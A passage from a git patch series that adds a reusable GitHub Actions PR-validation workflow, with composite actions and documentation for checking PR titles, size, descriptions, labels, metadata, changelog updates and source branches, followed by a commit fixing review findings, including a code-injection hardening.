+jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + with: + pr_title_types: | + feat + fix + docs + refactor + test + chore + require_scope: true + min_description_length: 100 + check_changelog: true + enable_auto_labeler: true + secrets: inherit +``` + +### With Source Branch Validation + +```yaml +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + with: + enforce_source_branches: true + allowed_source_branches: 'develop|release-candidate|hotfix/*' + target_branches_for_source_check: 'main' + secrets: inherit +``` + +### Dry Run (preview without side effects) + +```yaml +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + with: + dry_run: true + secrets: inherit +``` + +## Inputs + +| Input | Type | Default | Description | +|-------|------|---------|-------------| +| `runner_type` | string | `blacksmith-4vcpu-ubuntu-2404` | GitHub runner type | +| `dry_run` | boolean | `false` | Preview validations without posting comments or labels | +| `pr_title_types` | string | (see below) | Allowed commit types (newline-separated) | +| `pr_title_scopes` | string | `''` | Allowed scopes (newline-separated, empty = any) | +| `require_scope` | boolean | `false` | Require scope in PR title | +| `min_description_length` | number | `50` | Minimum PR description length | +| `check_changelog` | boolean | `true` | Check if CHANGELOG.md is updated | +| `enable_auto_labeler` | boolean | `true` | Enable automatic labeling | +| `labeler_config_path` | string | `.github/labeler.yml` | Path to labeler config | +| `enforce_source_branches` | boolean | `false` | Enforce source branch rules | +| `allowed_source_branches` | string | `develop\|release-candidate\|hotfix/*` | Allowed source branches (pipe-separated, supports `*` wildcard) | +| `target_branches_for_source_check` | string | `main` | Target branches that require source branch validation | + +### Default PR Title Types + +``` +feat fix docs style refactor perf test chore ci build revert +``` + +## Secrets + +| Secret | Required | Description | +|--------|----------|-------------| +| `MANAGE_TOKEN` | No | GitHub token with elevated permissions for labeling, commenting, and reviews. Falls back to `github.token`. | +| `SLACK_WEBHOOK_URL` | No | Slack webhook URL for notifications. Skipped if not provided. | + +## Jobs + +| Job | Condition | Composite | +|-----|-----------|-----------| +| `pr-source-branch` | `enforce_source_branches` | `src/validate/pr-source-branch` | +| `pr-title` | always (non-draft) | `src/validate/pr-title` | +| `pr-size` | always (non-draft) | `src/validate/pr-size` | +| `pr-description` | always (non-draft) | `src/validate/pr-description` | +| `pr-labels` | `enable_auto_labeler && !dry_run` | `src/validate/pr-labels` | +| `pr-metadata` | always (non-draft) | `src/validate/pr-metadata` | +| `pr-changelog` | `check_changelog` | `src/validate/pr-changelog` | +| `pr-checks-summary` | always | inline | +| `notify` | `!dry_run` | `slack-notify.yml` | + +## Dry Run Behavior + +When `dry_run: true`: +- Title, description, and metadata validations still run (read-only checks) +- Size is calculated and logged but **labels are not applied** +- Changelog is checked but **comments are not posted** +- Source branch is validated but **REQUEST_CHANGES review is not posted** +- Auto-labeling is **skipped entirely** +- Slack notification is **skipped** +- Summary report includes a DRY RUN banner + +## Draft PR Behavior + +When a PR is in draft mode, all validation jobs are skipped. Checks run automatically when the PR is marked ready for review. + +## PR Size Labels + +| Lines Changed | Label | +|---------------|-------| +| < 50 | `size/XS` | +| 50–199 | `size/S` | +| 200–499 | `size/M` | +| 500–999 | `size/L` | +| >= 1000 | `size/XL` | + +## PR Title Format + +``` +[optional scope]: +``` + +- `feat: add user authentication` +- `fix(api): resolve timeout issue` +- `docs: update installation guide` + +## Changelog Checking + +To skip the changelog check, add one of these labels: +- `skip-changelog` +- `dependencies` (auto-added by Dependabot) + +## Related Workflows + +- [Go CI](./go-ci.md) — Continuous integration testing +- [Go Security](./go-security.md) — Security scanning +- [PR Security Scan](./pr-security-scan.md) — Security scanning for PRs + +--- + +**Last Updated:** 2026-03-24 +**Version:** 2.0.0 diff --git a/src/validate/pr-changelog/README.md b/src/validate/pr-changelog/README.md new file mode 100644 index 00000000..31800c52 --- /dev/null +++ b/src/validate/pr-changelog/README.md @@ -0,0 +1,49 @@ + + + + + +
Lerian

pr-changelog

+ +Checks if `CHANGELOG.md` was updated in the PR. If not, posts a reminder comment (skipped for PRs with `skip-changelog` or `dependencies` labels). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token with pull-requests write permission | Yes | | +| `base-ref` | Base branch for diff comparison | Yes | | +| `dry-run` | When true, check without posting comments | No | `false` | + +## Outputs + +| Output | Description | +|--------|-------------| +| `updated` | Whether CHANGELOG.md was updated (`true`/`false`) | + +## Usage as composite step + +```yaml +jobs: + pr-changelog: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Checkout + uses: actions/checkout@v6 + with: + fetch-depth: 0 + + - name: Check Changelog + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-changelog@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + base-ref: ${{ github.base_ref }} +``` + +## Required permissions + +```yaml +permissions: + contents: read + pull-requests: write +``` diff --git a/src/validate/pr-changelog/action.yml b/src/validate/pr-changelog/action.yml new file mode 100644 index 00000000..51c3fa2a --- /dev/null +++ b/src/validate/pr-changelog/action.yml @@ -0,0 +1,55 @@ +name: Check Changelog Update +description: "Checks if CHANGELOG.md was updated and comments if not." + +inputs: + github-token: + description: GitHub token with pull-requests write permission + required: true + base-ref: + description: Base branch for diff comparison + required: true + dry-run: + description: "When true, check without posting comments" + required: false + default: "false" + +outputs: + updated: + description: "Whether CHANGELOG.md was updated (true/false)" + value: ${{ steps.changelog.outputs.updated }} + +runs: + using: composite + steps: + # ----------------- Check ----------------- + - name: Check if CHANGELOG updated + id: changelog + shell: bash + env: + BASE_REF: ${{ inputs.base-ref }} + run: | + if git diff --name-only "origin/${BASE_REF}...HEAD" | grep -q "CHANGELOG.md"; then + echo "updated=true" >> "$GITHUB_OUTPUT" + else + echo "updated=false" >> "$GITHUB_OUTPUT" + fi + + # ----------------- Comment ----------------- + - name: Comment if CHANGELOG not updated + if: steps.changelog.outputs.updated == 'false' && inputs.dry-run != 'true' + uses: actions/github-script@v8 + with: + github-token: ${{ inputs.github-token }} + script: | + const labels = context.payload.pull_request.labels.map(l => l.name); + + if (labels.includes('skip-changelog') || labels.includes('dependencies')) { + return; + } + + await github.rest.issues.createComment({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + body: 'Consider updating CHANGELOG.md to document this change. If this change doesn\'t need a changelog entry, add the `skip-changelog` label.' + }); diff --git a/src/validate/pr-description/README.md b/src/validate/pr-description/README.md new file mode 100644 index 00000000..64c1983a --- /dev/null +++ b/src/validate/pr-description/README.md @@ -0,0 +1,36 @@ + + + + + +
Lerian

pr-description

+ +Validates PR description quality by checking minimum length and recommended sections (`Description`, `Type of Change`). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token for API access | Yes | | +| `min-length` | Minimum PR description length in characters | No | `50` | + +## Usage as composite step + +```yaml +jobs: + pr-description: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Validate PR Description + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + min-length: "100" +``` + +## Required permissions + +```yaml +permissions: + pull-requests: read +``` diff --git a/src/validate/pr-description/action.yml b/src/validate/pr-description/action.yml new file mode 100644 index 00000000..4f7cdf43 --- /dev/null +++ b/src/validate/pr-description/action.yml @@ -0,0 +1,49 @@ +name: Validate PR Description +description: "Checks PR description length and recommended sections." + +inputs: + github-token: + description: GitHub token for API access + required: true + min-length: + description: Minimum PR description length in characters + required: false + default: "50" + +runs: + using: composite + steps: + # ----------------- Length Check ----------------- + - name: Check description length + uses: actions/github-script@v8 + env: + MIN_LENGTH: ${{ inputs.min-length }} + with: + github-token: ${{ inputs.github-token }} + script: | + const body = context.payload.pull_request.body || ''; + const minLength = parseInt(process.env.MIN_LENGTH, 10); + + if (body.length < minLength) { + core.setFailed(`PR description is too short (${body.length} chars). Please provide a detailed description (minimum ${minLength} chars).`); + } + + # ----------------- Required Sections ----------------- + - name: Check for required sections + uses: actions/github-script@v8 + with: + github-token: ${{ inputs.github-token }} + script: | + const body = context.payload.pull_request.body || ''; + const requiredSections = ['Description', 'Type of Change']; + const missingSections = []; + + for (const section of requiredSections) { + if (!body.includes(section)) { + missingSections.push(section); + } + } + + if (missingSections.length > 0) { + core.warning(`PR description is missing recommended sections: ${missingSections.join(', ')}`); + } diff --git a/src/validate/pr-labels/README.md b/src/validate/pr-labels/README.md new file mode 100644 index 00000000..d97ccc48 --- /dev/null +++ b/src/validate/pr-labels/README.md @@ -0,0 +1,41 @@ + + + + + +
Lerian

pr-labels

+ +Automatically adds labels to a PR based on changed files using the [actions/labeler](https://github.com/actions/labeler) configuration. + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token with pull-requests write permission | Yes | | +| `config-path` | Path to labeler configuration file | No | `.github/labeler.yml` | + +## Usage as composite step + +```yaml +jobs: + pr-labels: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Checkout + uses: actions/checkout@v6 + with: + fetch-depth: 0 + + - name: Auto-label PR + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} +``` + +## Required permissions + +```yaml +permissions: + contents: read + pull-requests: write +``` diff --git a/src/validate/pr-labels/action.yml b/src/validate/pr-labels/action.yml new file mode 100644 index 00000000..0bb87953 --- /dev/null +++ b/src/validate/pr-labels/action.yml @@ -0,0 +1,21 @@ +name: Auto-label PR +description: "Automatically adds labels to PR based on changed files using labeler configuration." + +inputs: + github-token: + description: GitHub token with pull-requests write permission + required: true + config-path: + description: Path to labeler configuration file + required: false + default: ".github/labeler.yml" + +runs: + using: composite + steps: + - name: Auto-label based on files + uses: actions/labeler@v6 + with: + repo-token: ${{ inputs.github-token }} + configuration-path: ${{ inputs.config-path }} + sync-labels: true diff --git a/src/validate/pr-metadata/README.md b/src/validate/pr-metadata/README.md new file mode 100644 index 00000000..fd41288c --- /dev/null +++ b/src/validate/pr-metadata/README.md @@ -0,0 +1,34 @@ + + + + + +
Lerian

pr-metadata

+ +Checks PR metadata quality: warns if no assignees are set and if no issues are linked via keywords (`Closes`, `Fixes`, `Resolves`, `Relates to`). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token for API access | Yes | | + +## Usage as composite step + +```yaml +jobs: + pr-metadata: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Check PR Metadata + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} +``` + +## Required permissions + +```yaml +permissions: + pull-requests: read +``` diff --git a/src/validate/pr-metadata/action.yml b/src/validate/pr-metadata/action.yml new file mode 100644 index 00000000..616a0c26 --- /dev/null +++ b/src/validate/pr-metadata/action.yml @@ -0,0 +1,42 @@ +name: Validate PR Metadata +description: "Checks PR assignee and linked issues." + +inputs: + github-token: + description: GitHub token for API access + required: true + +runs: + using: composite + steps: + # ----------------- Assignee ----------------- + - name: Check for assignee + uses: actions/github-script@v8 + with: + github-token: ${{ inputs.github-token }} + script: | + const pr = context.payload.pull_request; + if (pr.assignees.length === 0) { + core.warning('This PR has no assignees. Consider assigning someone to review.'); + } + + # ----------------- Linked Issues ----------------- + - name: Check for linked issues + uses: actions/github-script@v8 + with: + github-token: ${{ inputs.github-token }} + script: | + const body = context.payload.pull_request.body || ''; + const issueKeywords = ['closes', 'fixes', 'resolves', 'relates to']; + + let hasLinkedIssue = false; + for (const keyword of issueKeywords) { + if (body.toLowerCase().includes(keyword)) { + hasLinkedIssue = true; + break; + } + } + + if (!hasLinkedIssue) { + core.warning('This PR does not appear to be linked to any issues. Consider linking related issues using keywords like "Closes #123" or "Fixes #456".'); + } diff --git a/src/validate/pr-size/README.md b/src/validate/pr-size/README.md new file mode 100644 index 00000000..c3c07221 --- /dev/null +++ b/src/validate/pr-size/README.md @@ -0,0 +1,58 @@ + + + + + +
Lerian

pr-size

+ +Calculates PR size based on changed lines, adds a size label (`size/XS` through `size/XL`), and comments on extra-large PRs suggesting they be broken up. + +| Lines Changed | Label | +|---------------|-------| +| < 50 | `size/XS` | +| 50–199 | `size/S` | +| 200–499 | `size/M` | +| 500–999 | `size/L` | +| >= 1000 | `size/XL` | + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token with pull-requests write permission | Yes | | +| `base-ref` | Base branch for diff comparison | Yes | | +| `dry-run` | When true, calculate size without adding labels or comments | No | `false` | + +## Outputs + +| Output | Description | +|--------|-------------| +| `size` | PR size category (XS, S, M, L, XL) | +| `changed-lines` | Number of changed lines | + +## Usage as composite step + +```yaml +jobs: + pr-size: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Checkout + uses: actions/checkout@v6 + with: + fetch-depth: 0 + + - name: Check PR Size + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + base-ref: ${{ github.base_ref }} +``` + +## Required permissions + +```yaml +permissions: + contents: read + pull-requests: write +``` diff --git a/src/validate/pr-size/action.yml b/src/validate/pr-size/action.yml new file mode 100644 index 00000000..1b27b396 --- /dev/null +++ b/src/validate/pr-size/action.yml @@ -0,0 +1,99 @@ +name: Check PR Size +description: "Calculates PR size, adds size label, and comments on large PRs." + +inputs: + github-token: + description: GitHub token with pull-requests write permission + required: true + base-ref: + description: Base branch for diff comparison + required: true + dry-run: + description: "When true, calculate size without adding labels or comments" + required: false + default: "false" + +outputs: + size: + description: "PR size category (XS, S, M, L, XL)" + value: ${{ steps.size.outputs.size }} + changed-lines: + description: "Number of changed lines" + value: ${{ steps.size.outputs.changed_lines }} + +runs: + using: composite + steps: + # ----------------- Calculate ----------------- + - name: Calculate PR size + id: size + shell: bash + env: + BASE_REF: ${{ inputs.base-ref }} + run: | + CHANGED_LINES=$(git diff --shortstat "origin/${BASE_REF}...HEAD" | \ + awk '{print $4+$6}') + echo "changed_lines=$CHANGED_LINES" >> "$GITHUB_OUTPUT" + + if [ "$CHANGED_LINES" -lt 50 ]; then + SIZE="XS" + elif [ "$CHANGED_LINES" -lt 200 ]; then + SIZE="S" + elif [ "$CHANGED_LINES" -lt 500 ]; then + SIZE="M" + elif [ "$CHANGED_LINES" -lt 1000 ]; then + SIZE="L" + else + SIZE="XL" + fi + echo "size=$SIZE" >> "$GITHUB_OUTPUT" + echo "::notice::PR size: $SIZE ($CHANGED_LINES lines changed)" + + # ----------------- Label ----------------- + - name: Add size label + if: inputs.dry-run != 'true' + uses: actions/github-script@v8 + env: + PR_SIZE: ${{ steps.size.outputs.size }} + with: + github-token: ${{ inputs.github-token }} + script: | + const size = process.env.PR_SIZE; + const labels = ['size/XS', 'size/S', 'size/M', 'size/L', 'size/XL']; + + for (const label of labels) { + try { + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + name: label + }); + } catch (error) { + // Label doesn't exist, ignore + } + } + + await github.rest.issues.addLabels({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + labels: [`size/${size}`] + }); + + # ----------------- Comment on XL ----------------- + - name: Comment on large PR + if: steps.size.outputs.size == 'XL' && inputs.dry-run != 'true' + uses: actions/github-script@v8 + env: + CHANGED_LINES: ${{ steps.size.outputs.changed_lines }} + with: + github-token: ${{ inputs.github-token }} + script: | + const changedLines = process.env.CHANGED_LINES; + await github.rest.issues.createComment({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + body: `This PR is very large (${context.payload.pull_request.changed_files} files, ${changedLines} lines changed). Consider breaking it into smaller PRs for easier review.` + }); diff --git a/src/validate/pr-source-branch/README.md b/src/validate/pr-source-branch/README.md new file mode 100644 index 00000000..58f41e41 --- /dev/null +++ b/src/validate/pr-source-branch/README.md @@ -0,0 +1,54 @@ + + + + + +
Lerian

pr-source-branch

+ +Validates that PRs to protected branches come from allowed source branches. Supports exact branch names and prefix patterns (e.g., `hotfix/*`). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token with pull-requests write permission | Yes | | +| `allowed-branches` | Allowed source branches (pipe-separated, supports `*` wildcard) | No | `develop\|release-candidate\|hotfix/*` | +| `target-branches` | Target branches that require validation (pipe-separated) | No | `main` | +| `dry-run` | When true, validate without posting REQUEST_CHANGES review | No | `false` | + +## Usage as composite step + +```yaml +jobs: + source-branch: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Validate Source Branch + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + allowed-branches: "develop|hotfix/*" + target-branches: "main" +``` + +## Usage as reusable workflow + +Called via the `pr-validation.yml` reusable workflow: + +```yaml +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + with: + enforce_source_branches: true + allowed_source_branches: "develop|hotfix/*" + target_branches_for_source_check: "main" + secrets: inherit +``` + +## Required permissions + +```yaml +permissions: + pull-requests: write +``` diff --git a/src/validate/pr-source-branch/action.yml b/src/validate/pr-source-branch/action.yml new file mode 100644 index 00000000..497288a8 --- /dev/null +++ b/src/validate/pr-source-branch/action.yml @@ -0,0 +1,79 @@ +name: Validate PR Source Branch +description: "Validates that PRs to protected branches come from allowed source branches." + +inputs: + github-token: + description: GitHub token with pull-requests write permission + required: true + allowed-branches: + description: "Allowed source branches (pipe-separated, supports prefix matching with *)" + required: false + default: "develop|release-candidate|hotfix/*" + target-branches: + description: "Target branches that require source branch validation (pipe-separated)" + required: false + default: "main" + dry-run: + description: "When true, validate without posting REQUEST_CHANGES review" + required: false + default: "false" + +runs: + using: composite + steps: + - name: Validate source branch + uses: actions/github-script@v8 + env: + ALLOWED_BRANCHES: ${{ inputs.allowed-branches }} + TARGET_BRANCHES: ${{ inputs.target-branches }} + DRY_RUN: ${{ inputs.dry-run }} + with: + github-token: ${{ inputs.github-token }} + script: | + const sourceBranch = context.payload.pull_request.head.ref; + const targetBranch = context.payload.pull_request.base.ref; + const allowedBranches = process.env.ALLOWED_BRANCHES.split('|').map(b => b.trim()); + const targetBranchesForCheck = process.env.TARGET_BRANCHES.split('|').map(b => b.trim()); + const dryRun = process.env.DRY_RUN === 'true'; + + if (!targetBranchesForCheck.includes(targetBranch)) { + console.log(`Target branch '${targetBranch}' does not require source branch validation`); + return; + } + + console.log(`Checking if source branch '${sourceBranch}' is allowed for target '${targetBranch}'`); + console.log(`Allowed patterns: ${allowedBranches.join(', ')}`); + + let isAllowed = false; + for (const pattern of allowedBranches) { + if (pattern.endsWith('/*')) { + const prefix = pattern.slice(0, -1); + if (sourceBranch.startsWith(prefix)) { + isAllowed = true; + break; + } + } else if (pattern === sourceBranch) { + isAllowed = true; + break; + } + } + + if (!isAllowed) { + if (dryRun) { + core.notice(`DRY RUN — would post REQUEST_CHANGES review: source '${sourceBranch}' not allowed for target '${targetBranch}'`); + } else { + const message = `⚠️ **Invalid Source Branch**\n\nPull requests to **${targetBranch}** can only come from:\n${allowedBranches.map(b => `- \`${b}\``).join('\n')}\n\nYour source branch: \`${sourceBranch}\`\n\nPlease **change the base branch** or create a PR from an allowed branch.`; + + await github.rest.pulls.createReview({ + owner: context.repo.owner, + repo: context.repo.repo, + pull_number: context.issue.number, + body: message, + event: 'REQUEST_CHANGES' + }); + } + + core.setFailed(`Source branch '${sourceBranch}' is not allowed for PRs to '${targetBranch}'`); + } else { + console.log(`✅ Source branch '${sourceBranch}' is allowed`); + } diff --git a/src/validate/pr-title/README.md b/src/validate/pr-title/README.md new file mode 100644 index 00000000..2611470a --- /dev/null +++ b/src/validate/pr-title/README.md @@ -0,0 +1,53 @@ + + + + + +
Lerian

pr-title

+ +Validates PR title follows [Conventional Commits](https://www.conventionalcommits.org/) format using [action-semantic-pull-request](https://github.com/amannn/action-semantic-pull-request). + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `github-token` | GitHub token for PR status checks | Yes | | +| `types` | Allowed commit types (newline-separated) | No | `feat fix docs style refactor perf test chore ci build revert` | +| `scopes` | Allowed scopes (newline-separated, empty = any) | No | `""` | +| `require-scope` | Require scope in PR title | No | `false` | + +## Usage as composite step + +```yaml +jobs: + pr-title: + runs-on: blacksmith-4vcpu-ubuntu-2404 + steps: + - name: Validate PR Title + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@v1.x.x + with: + github-token: ${{ secrets.GITHUB_TOKEN }} +``` + +## Usage as reusable workflow + +Called via the `pr-validation.yml` reusable workflow: + +```yaml +jobs: + validate: + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + with: + pr_title_types: | + feat + fix + docs + secrets: inherit +``` + +## Required permissions + +```yaml +permissions: + pull-requests: read +``` diff --git a/src/validate/pr-title/action.yml b/src/validate/pr-title/action.yml new file mode 100644 index 00000000..7292b54f --- /dev/null +++ b/src/validate/pr-title/action.yml @@ -0,0 +1,47 @@ +name: Validate PR Title +description: "Validates PR title follows semantic commit format using conventional commits." + +inputs: + github-token: + description: GitHub token for PR status checks + required: true + types: + description: Allowed commit types (newline-separated) + required: false + default: | + feat + fix + docs + style + refactor + perf + test + chore + ci + build + revert + scopes: + description: Allowed scopes (newline-separated, empty = any scope allowed) + required: false + default: "" + require-scope: + description: Require scope in PR title + required: false + default: "false" + +runs: + using: composite + steps: + - name: Validate PR title format + uses: amannn/action-semantic-pull-request@v6 + env: + GITHUB_TOKEN: ${{ inputs.github-token }} + with: + types: ${{ inputs.types }} + scopes: ${{ inputs.scopes }} + requireScope: ${{ inputs.require-scope }} + subjectPattern: ^[a-z].+$ + subjectPatternError: | + The subject "{subject}" found in the pull request title "{title}" + didn't match the configured pattern. Please ensure that the subject + starts with a lowercase character. From a8aebf08413544f5d521c0ac93eddca97e5f8a40 Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Tue, 24 Mar 2026 17:04:11 -0300 Subject: [PATCH 02/21] fix(pr-validation): address CodeRabbit and CodeQL review findings - Fix code-injection: move needs.*.result and inputs.dry_run to env vars in pr-checks-summary job (use process.env instead of ${{ }} interpolation) - Wire MANAGE_TOKEN into auto-labeler job (was hardcoded to github.token) - Include pr-changelog in Slack notification status and failed_jobs - Handle empty git diff output in pr-size (CHANGED_LINES defaults to 0) - Support all * wildcard patterns in pr-source-branch (not just /*) - Fix broken markdown links in docs (add -workflow suffix) - Fix docs examples to use @v1.2.3 placeholder instead of @v1.x.x - Update jobs table with non-draft condition for all gated jobs --- .github/workflows/pr-validation.yml | 31 +++++++++++++++--------- docs/pr-validation.md | 30 +++++++++++------------ src/validate/pr-size/action.yml | 1 + src/validate/pr-source-branch/action.yml | 2 +- 4 files changed, 37 insertions(+), 27 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 12c6df4c..5bfc2757 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -155,7 +155,7 @@ jobs: - name: Auto-label based on files uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@develop with: - github-token: ${{ github.token }} + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} config-path: ${{ inputs.labeler_config_path }} # ----------------- PR Metadata Check ----------------- @@ -199,21 +199,30 @@ jobs: steps: - name: Summary uses: actions/github-script@v8 + env: + SOURCE_BRANCH_RESULT: ${{ needs.pr-source-branch.result }} + TITLE_RESULT: ${{ needs.pr-title.result }} + SIZE_RESULT: ${{ needs.pr-size.result }} + DESCRIPTION_RESULT: ${{ needs.pr-description.result }} + LABEL_RESULT: ${{ needs.pr-labels.result }} + METADATA_RESULT: ${{ needs.pr-metadata.result }} + CHANGELOG_RESULT: ${{ needs.pr-changelog.result }} + DRY_RUN: ${{ inputs.dry_run }} with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} script: | const checks = { - 'Source Branch': '${{ needs.pr-source-branch.result }}', - 'PR Title': '${{ needs.pr-title.result }}', - 'PR Size': '${{ needs.pr-size.result }}', - 'PR Description': '${{ needs.pr-description.result }}', - 'Auto-label': '${{ needs.pr-labels.result }}', - 'Metadata': '${{ needs.pr-metadata.result }}', - 'Changelog': '${{ needs.pr-changelog.result }}' + 'Source Branch': process.env.SOURCE_BRANCH_RESULT, + 'PR Title': process.env.TITLE_RESULT, + 'PR Size': process.env.SIZE_RESULT, + 'PR Description': process.env.DESCRIPTION_RESULT, + 'Auto-label': process.env.LABEL_RESULT, + 'Metadata': process.env.METADATA_RESULT, + 'Changelog': process.env.CHANGELOG_RESULT }; let summary = '## PR Checks Summary\n\n'; - if ('${{ inputs.dry_run }}' === 'true') { + if (process.env.DRY_RUN === 'true') { summary += '> **DRY RUN** — no comments, labels, or reviews were posted\n\n'; } for (const [check, result] of Object.entries(checks)) { @@ -231,8 +240,8 @@ jobs: if: always() && github.event.pull_request.draft != true && !inputs.dry_run uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@develop with: - status: ${{ (needs.pr-source-branch.result == 'failure' || needs.pr-title.result == 'failure' || needs.pr-description.result == 'failure') && 'failure' || 'success' }} + status: ${{ (needs.pr-source-branch.result == 'failure' || needs.pr-title.result == 'failure' || needs.pr-description.result == 'failure' || needs.pr-changelog.result == 'failure') && 'failure' || 'success' }} workflow_name: "PR Validation" - failed_jobs: ${{ needs.pr-source-branch.result == 'failure' && 'Source Branch, ' || '' }}${{ needs.pr-title.result == 'failure' && 'PR Title, ' || '' }}${{ needs.pr-description.result == 'failure' && 'PR Description' || '' }} + failed_jobs: ${{ needs.pr-source-branch.result == 'failure' && 'Source Branch, ' || '' }}${{ needs.pr-title.result == 'failure' && 'PR Title, ' || '' }}${{ needs.pr-description.result == 'failure' && 'PR Description, ' || '' }}${{ needs.pr-changelog.result == 'failure' && 'Changelog' || '' }} secrets: SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} diff --git a/docs/pr-validation.md b/docs/pr-validation.md index e3d1226f..97b15b7c 100644 --- a/docs/pr-validation.md +++ b/docs/pr-validation.md @@ -53,7 +53,7 @@ permissions: jobs: validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.2.3 secrets: inherit ``` @@ -62,7 +62,7 @@ jobs: ```yaml jobs: validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.2.3 with: pr_title_types: | feat @@ -83,7 +83,7 @@ jobs: ```yaml jobs: validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.2.3 with: enforce_source_branches: true allowed_source_branches: 'develop|release-candidate|hotfix/*' @@ -96,7 +96,7 @@ jobs: ```yaml jobs: validate: - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.x.x + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/pr-validation.yml@v1.2.3 with: dry_run: true secrets: inherit @@ -136,15 +136,15 @@ feat fix docs style refactor perf test chore ci build revert | Job | Condition | Composite | |-----|-----------|-----------| -| `pr-source-branch` | `enforce_source_branches` | `src/validate/pr-source-branch` | -| `pr-title` | always (non-draft) | `src/validate/pr-title` | -| `pr-size` | always (non-draft) | `src/validate/pr-size` | -| `pr-description` | always (non-draft) | `src/validate/pr-description` | -| `pr-labels` | `enable_auto_labeler && !dry_run` | `src/validate/pr-labels` | -| `pr-metadata` | always (non-draft) | `src/validate/pr-metadata` | -| `pr-changelog` | `check_changelog` | `src/validate/pr-changelog` | +| `pr-source-branch` | non-draft, `enforce_source_branches` | `src/validate/pr-source-branch` | +| `pr-title` | non-draft | `src/validate/pr-title` | +| `pr-size` | non-draft | `src/validate/pr-size` | +| `pr-description` | non-draft | `src/validate/pr-description` | +| `pr-labels` | non-draft, `enable_auto_labeler && !dry_run` | `src/validate/pr-labels` | +| `pr-metadata` | non-draft | `src/validate/pr-metadata` | +| `pr-changelog` | non-draft, `check_changelog` | `src/validate/pr-changelog` | | `pr-checks-summary` | always | inline | -| `notify` | `!dry_run` | `slack-notify.yml` | +| `notify` | non-draft, `!dry_run` | `slack-notify.yml` | ## Dry Run Behavior @@ -189,9 +189,9 @@ To skip the changelog check, add one of these labels: ## Related Workflows -- [Go CI](./go-ci.md) — Continuous integration testing -- [Go Security](./go-security.md) — Security scanning -- [PR Security Scan](./pr-security-scan.md) — Security scanning for PRs +- [Go CI](./go-ci-workflow.md) — Continuous integration testing +- [Go Security](./go-security-workflow.md) — Security scanning +- [PR Security Scan](./pr-security-scan-workflow.md) — Security scanning for PRs --- diff --git a/src/validate/pr-size/action.yml b/src/validate/pr-size/action.yml index 1b27b396..dbfb1664 100644 --- a/src/validate/pr-size/action.yml +++ b/src/validate/pr-size/action.yml @@ -33,6 +33,7 @@ runs: run: | CHANGED_LINES=$(git diff --shortstat "origin/${BASE_REF}...HEAD" | \ awk '{print $4+$6}') + CHANGED_LINES=${CHANGED_LINES:-0} echo "changed_lines=$CHANGED_LINES" >> "$GITHUB_OUTPUT" if [ "$CHANGED_LINES" -lt 50 ]; then diff --git a/src/validate/pr-source-branch/action.yml b/src/validate/pr-source-branch/action.yml index 497288a8..26b25070 100644 --- a/src/validate/pr-source-branch/action.yml +++ 